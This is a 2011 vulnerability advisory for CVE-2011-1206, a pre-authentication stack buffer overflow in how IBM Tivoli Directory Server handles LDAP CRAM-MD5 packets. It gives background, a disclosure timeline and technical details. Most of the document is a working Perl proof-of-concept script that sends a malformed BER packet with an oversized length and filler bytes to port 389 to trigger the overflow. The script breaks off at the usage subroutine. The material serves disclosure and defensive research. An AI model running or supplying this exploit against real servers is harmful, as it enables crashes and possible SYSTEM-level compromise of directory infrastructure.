IBM Tivoli Directory Server SASL Bind Request Remote Code Execution

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Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability  
  
Platforms: Windows  
  
Exploitation: Remote code execution  
  
CVE Number: CVE-2011-1206   
  
ZDI number: ZDI-11-136  
  
{PRL}: 2011-06  
  
Author: Francis Provencher (Protek Research Lab's)  
  
WebSite: http://www.protekresearchlab.com/  
  
Twitter: @ProtekResearch  
  
  
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1) Introduction  
2) Report Timeline  
3) Technical details  
4) POC  
  
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===============  
1) Introduction  
===============  
  
IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server,  
  
is an IBM implementation of the Lightweight Directory Access Protocol,  
  
and is part of the IBM Tivoli Identity & Access Management portfolio.  
  
IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant  
  
enterprise directory for corporate intranets and the Internet. Directory Server is  
  
built to serve as the identity data foundation for rapid development and deployment  
  
of Web applications and security and identity management initiatives by including  
  
strong management, replication and security features.Several authentication methods  
  
are available with IBM Tivoli Directory Server, beyond basic usernames and passwords.  
  
ITDS supports digital certificate-based authentication, the Simple Authentication and  
  
Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5),  
  
and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP  
  
infrastructure that provides a foundation for deploying comprehensive identity management  
  
applications and advanced software architectures.  
  
(http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server)  
  
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============================  
2) Report Timeline  
============================  
  
2011-02-17 - Vulnerability reported to vendor  
2011-04-18 - Coordinated public release of advisory  
  
  
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====================  
3) Technical details  
====================  
  
This vulnerability allows remote attackers to execute arbitrary code on vulnerable  
  
installations of IBM Tivoli Directory Server. Authentication is not required to  
  
exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles  
  
LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the  
  
process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the  
  
allocation of a buffer for the packet data. A specially crafted packet can cause  
  
the ber_get_int function to allocate a buffer that is too small to fit the packet  
  
data, causing a subsequent stack-based buffer overflow. This can be leveraged by  
  
a remote attacker to execute arbitrary code under the context of the SYSTEM user.  
  
  
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===========  
4) POC  
===========  
  
  
  
#!/usr/bin/perl  
  
  
use strict;  
use warnings;  
  
use Getopt::Std;  
use IO::Socket::INET;  
  
$SIG{INT} = \&abort;  
  
my $host = '192.168.100.24';  
my $port = 389;  
my $proto = 'tcp';  
my $sockType = SOCK_STREAM;  
my $timeout = 1;  
  
my %opt;  
my $opt_string = 'hH:P:t:';  
getopts( "$opt_string", \%opt );  
  
if (defined $opt{h}) {  
usage()  
}  
  
$host = $opt{H} ? $opt{H} : $host;  
$port = $opt{P} ? $opt{P} : $port;  
$timeout = $opt{t} ? $opt{t} : $timeout;  
  
my @commands = (  
{Command => 'Send',  
Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"},  
{Command => 'Receive'},  
{Command => 'Send',  
Data => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"},  
{Command => 'Receive'},  
  
);  
  
  
my $sock = new IO::Socket::INET (   
PeerAddr => $host,  
PeerPort => $port,   
Proto => $proto,  
Type => $sockType,  
Timeout => $timeout,  
)   
or die "socket error: $!\n\n";  
  
print "connected to: $host:$port\n";  
  
$sock->autoflush(1);  
binmode $sock;  
  
  
foreach my $command (@commands)  
{  
if ($command->{'Command'} eq 'Receive')  
{  
my $buf = receive($sock, $timeout);  
if (length $buf)  
{  
print "received: [$buf]\n";  
}  
}  
elsif ($command->{'Command'} eq 'Send')  
{  
print "sending: [".$command->{'Data'}."]\n";  
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";  
}  
}  
  
close ($sock);  
  
  
sub receive  
{  
my $sock = shift;  
my $timeout = shift;  
  
my $tmpbuf;  
my $buf = "";  
  
while(1)  
{   
eval {  
local $SIG{ALRM} = sub { die "timeout\n" };  
alarm $timeout;  
  
my $ret = read $sock, $tmpbuf, 1;   
if ( !defined $ret or $ret == 0 )  
{   
die "timeout\n";  
}  
  
alarm 0;  
$buf .= $tmpbuf;  
};  
if ($@) {   
if($@ eq "timeout\n")  
{  
last;  
}  
else {  
die "receive aborted\n";  
}  
}  
}   
return $buf;  
}  
  
sub abort  
{  
print "...\n";  
if ($sock)  
{  
close $sock;  
}  
die "...\n";  
}  
sub usage  
  
  
  
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`